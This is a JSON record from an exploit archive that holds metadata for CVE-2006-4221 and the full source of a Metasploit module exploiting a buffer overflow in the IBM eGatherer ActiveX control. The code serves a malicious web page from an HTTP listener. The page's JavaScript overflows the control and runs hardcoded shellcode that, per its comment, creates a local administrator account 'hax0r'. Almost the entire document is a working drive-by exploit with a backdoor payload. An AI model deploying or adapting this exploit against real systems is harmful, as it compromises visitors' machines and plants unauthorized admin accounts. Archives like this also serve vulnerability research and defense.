{"exploit":{"id":"EDB-2276","name":"IBM eGatherer 3.20.0284.0 - ActiveX Remote Code Execution (RCE) (Metasploit)","description":"IBM eGatherer 3.20.0284.0 - ActiveX Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2006-4221"],"author":"Francisco Amato","published":"2006-08-29","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2276","path":"exploits/windows/remote/2276.pm","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2276.pm","vulnerabilities":[{"id":"CVE-2006-4221","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the IBM Access Support eGatherer ActiveX control before 3.20.0284.0 allows remote attackers to execute arbitrary code via a long filename parameter to the RunEgatherer method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4221","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4221"},"updatedAt":"2024-08-07T18:57:46.513Z","retrievedAt":"2026-11-27T05:08:31.070Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2276.png?v=2","url":"https://exploitbin.com/exploits/EDB-2276","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2276/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2276/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be redistributed\n# according to the licenses defined in the Authors field below. In the\n# case of an unknown or missing license, this file defaults to the same\n# license as the core Framework (dual GPLv2 and Artistic). The latest\n# version of the Framework can always be obtained from metasploit.com.\n##\n\npackage Msf::Exploit::ibm_egatherer;\n\nuse strict;\nuse base \"Msf::Exploit\";\nuse Pex::Text;\nuse Msf::Encoder;\nuse IO::Socket::INET;\nuse IPC::Open3;\n\nmy $advanced =\n  {\n  };\n\nmy $info =\n  {\n\t'Name'           => 'IBM eGatherer ActiveX Code Execution Vulnerability',\n\t'Version'        => '$Revision: 1 $',\n\t'Authors'        =>\n\t  [\n\t\t'Francisco Amato <famato [at] infobyte.com.ar> [ISR] www.infobyte.com.ar',\n\t  ],\n\n\t'Description'    =>\n\t  Pex::Text::Freeform(qq{\n\t\tThis module exploits a code execution vulnerability in the IBM eGatherer ActiveX buffer overflow.\n}),\n        'Arch'           => [ 'x86' ],\n        'OS'    => ['win32', 'win2000' ],\n\n\t'Priv'           => 0,\n\n\t'UserOpts'       =>\n\t  {\n\t\t'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],\n\t\t'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', \"0.0.0.0\" ],\n\n\t  },\n\n        'AutoOpts'  =>\n\t          {\n            \t    'GETPCTYPE' => 'ebx'\n\t\t  },\n\t'Payload'        =>\n\t  {\n\t\t'Space'    => 700,\n\t\t'BadChars'  => \"\\x00\\x88\\x8e\\x89\\x83\\x96\\x98\\x91\\x80\\x9f\\x93\\x97\\x8c\\x99\\x9c\\x9b\\x92\", # data is downcased\n\t\t'Keys'     => ['+alphanum'],\n\n\t  },\n\t'Refs'           =>\n\t  [\n\t  \t['OSVDB', '27976'],\n\t  \t['CVE', 'CVE-2006-4221'],\n\t  \t['BID', '19554'],\n\t  \t['URL', 'http://research.eeye.com/html/advisories/published/AD20060816.html'],\n\t  ],\n\n\t'DefaultTarget'  => 0,\n\t'Targets'        =>\n\t  [\n\t\t[ 'Windows 2000 SP4 English version', 0x75041111, 0x7CE8E1B6  ]\n#\t\t[ 'Windows 2000 SP4 English version', 0x41414141, 0x7CE8E1B6  ] test\n#\t\t75032DB6\n#//7CE8E1B6 CALL ole32.dll\n#//75041111 .data WS2_32.DLL\n\t  ],\n\n\t'Keys'           => [ 'ibm' ],\n\n\t'DisclosureDate' => 'Aug 16 2006',\n  };\n\nsub new {\n\tmy $class = shift;\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\n\treturn($self);\n}\n\n\nsub Exploit\n{\n\tmy $self = shift;\n\tmy $server = IO::Socket::INET->new(\n\t\tLocalHost => $self->GetVar('HTTPHOST'),\n\t\tLocalPort => $self->GetVar('HTTPPORT'),\n\t\tReuseAddr => 1,\n\t\tListen    => 1,\n\t\tProto     => 'tcp'\n\t);\n\tmy $client;\n\n\t# Did the listener create fail?\n\tif (not defined($server)) {\n\t\t$self->PrintLine(\"[-] Failed to create local HTTP listener on \" . $self->GetVar('HTTPPORT'));\n\t\treturn;\n\t}\n\n\tmy $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?\n\t\tPex::Utils::SourceIP('1.2.3.4') :\n\t\t$self->GetVar('HTTPHOST');\n\n\t$self->PrintLine(\"[*] Waiting for connections to http://\". $httphost .\":\". $self->GetVar('HTTPPORT') .\"/\");\n\n\twhile (defined($client = $server->accept())) {\n\t\t$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));\n\t}\n\n\treturn;\n}\n\nsub HandleHttpClient\n{\n\tmy $self = shift;\n\tmy $fd   = shift;\n\n\t# Set the remote host information\n\tmy ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);\n\n\n\t# Read the HTTP command\n\tmy ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);\n\tmy $agent;\n\n\t# Read in the HTTP headers\n\twhile ((my $line = $fd->RecvLine(10))) {\n\n\t\t$line =~ s/^\\s+|\\s+$//g;\n\n\t\tmy ($var, $val) = split(/\\:/, $line, 2);\n\n\t\t# Break out if we reach the end of the headers\n\t\tlast if (not defined($var) or not defined($val));\n\n\t\t$agent = $val if $var =~ /User-Agent/i;\n\t}\n\n\tmy $os = 'Unknown';\n\tmy $vl = ($agent =~ m/Windows/) ? 'Vulnerable' : 'Not Vulnerable';\n\n\t$os = 'Linux'     if $agent =~ /Linux/i;\n\t$os = 'Mac OS X'  if $agent =~ /OS X/i;\n\t$os = 'Windows'   if $agent =~ /Windows/i;\n\n\n\t$self->PrintLine(\"[*] Client connected from $rhost:$rport ($os/$vl).\");\n\n\tif ($os ne 'Windows') {\n\t\t$self->PrintLine(\"[*] Invalid target for this exploit, trying anyways...\");\n\t} else {\n\t\t$self->PrintLine(\"[*] Sending payload and waiting for execution...\");\n\t}\n\n\tmy $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));\n\n\t$fd->Close();\n}\n\nsub JSUnescape2 {\n\t#TODO: add to Pex:Utils:JSUnescape like type of mode\n        my $data = shift;\n        my $mode = shift() || 'LE';\n        my $code = '';\n\n        # Encode the shellcode via %u sequences for JS's unescape() function\n        my $idx = 0;\n\n        # Pad to an even number of bytes\n        if (length($data) % 2 != 0) {\n                $data .= substr($data, -1, 1);\n        }\n\n        while ($idx < length($data) - 1) {\n                my $c1 = ord(substr($data, $idx, 1));\n                my $c2 = ord(substr($data, $idx+1, 1));\n                if ($mode eq 'LE') {\n                        $code .= sprintf('%%%.2x%%%.2x', $c2, $c1);\n                } else {\n                        $code .= sprintf('%%%.2x%%%.2x', $c1, $c2);\n                }\n                $idx += 2;\n        }\n\n        return $code;\n}\n\n\nsub GenerateHTML {\n\tmy $self        = shift;\n\tmy $target      = $self->Targets->[$self->GetVar('TARGET')];\n\tmy $shellcode = JSUnescape2($self->GetVar('EncodedPayload')->Payload, 'RE');\n        my $offsetdata = JSUnescape2(pack('V', $target->[1]),'R');\n\tmy $offsetesp = JSUnescape2(pack('V', $target->[2]),'R');\n\n#adduser, user: hax0r pass: vete\nmy $shellcode = '%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44%44%68%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69%68%6f%75%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44%20%26%26%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20%68%61%68%20%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65%78%68%41%41%63%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c%ff%d3%31%c0%50%bb%be%69%47%79%ff%d3';\n#$self->PrintLine($shellcode2);\n#my $shellcode = $shellcode2;\n\n\n\tmy $data        = qq#\n<html>\n<head>\n\t<title>IBM&ISS congratulation</title>\n\n</head>\n<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084' id='notCompromising'></object>\n<script>\nvar buff=\"\";\nfor (i=0;i<260;i++) buff=buff+unescape(\"%90\"); //padding\n//75041111 .data WS2_32.DLL\nbuff=buff+unescape(\"$offsetdata\"); //.data\nbuff=buff+unescape(\"$offsetdata\"); //.data\nfor (i=0;i<12;i++) buff=buff+unescape(\"%90\"); //padding\n//7CE4F8A6 CALL ESP ole32.dll\nbuff=buff+unescape(\"$offsetesp\"); //write eip\nbuff=buff+unescape(\"$offsetesp\"); //write eip\nfor (i=0;i<80;i++) buff=buff+unescape(\"%90\"); //padding\n//JMP safe ? shellcode\nbuff=buff+unescape(\"%E9%FD%FA%FF%FF\"); //adduser\n//buff=buff+unescape(\"%E9%2B%F8%FF%FF\"); //size 500\n//buff=buff+unescape(\"%E9%AF%F6%FF%FF\");  //size 700\nfor (i=0;i<80;i++) buff=buff+unescape(\"%90\"); //padding\n\n//shellcode TODO: copy writeable memory\nbuff=buff+unescape(\"$shellcode\");\n\nfor (i=0;i<50;i++)buff=buff+unescape(\"%90\"); //shit\n\nvar comp = document.getElementById('notCompromising');\ncomp.RunEgatherer(buff);\n//alert(buff);\n\n</script>\n\n</body>\n</html>\n#;\n\treturn $data;\n}\n\nsub BuildResponse {\n\tmy ($self, $content) = @_;\n\n\tmy $response =\n\t  \"HTTP/1.1 200 OK\\r\\n\" .\n\t  \"Content-Type: text/html\\r\\n\";\n\n\tif ($self->GetVar('Gzip')) {\n\t\t$response .= \"Content-Encoding: gzip\\r\\n\";\n\t\t$content = $self->Gzip($content);\n\t}\n\tif ($self->GetVar('Chunked')) {\n\t\t$response .= \"Transfer-Encoding: chunked\\r\\n\";\n\t\t$content = $self->Chunk($content);\n\t} else {\n\t\t$response .= 'Content-Length: ' . length($content) . \"\\r\\n\" .\n\t\t  \"Connection: close\\r\\n\";\n\t}\n\n\t$response .= \"\\r\\n\" . $content;\n\n\treturn $response;\n}\n\nsub Chunk {\n\tmy ($self, $content) = @_;\n\n\tmy $chunked;\n\twhile (length($content)) {\n\t\tmy $chunk = substr($content, 0, int(rand(10) + 1), '');\n\t\t$chunked .= sprintf('%x', length($chunk)) . \"\\r\\n$chunk\\r\\n\";\n\t}\n\t$chunked .= \"0\\r\\n\\r\\n\";\n\n\treturn $chunked;\n}\n\nsub Gzip {\n\tmy $self = shift;\n\tmy $data = shift;\n\tmy $comp = int(rand(5))+5;\n\n\tmy($wtr, $rdr, $err);\n\n\tmy $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');\n\tprint $wtr $data;\n\tclose ($wtr);\n\tlocal $/;\n\n\treturn (<$rdr>);\n}\n\n1;\n\n# milw0rm.com [2006-08-29]","sha256":"b5f09ff17c4ff5be6b8b1df5b317b86858b404945993aacb185c0e0db06f196f","bytes":7852,"fetchedAt":"2026-11-27T05:08:28.442Z","encoding":"utf-8 (display only; download retains original bytes)"}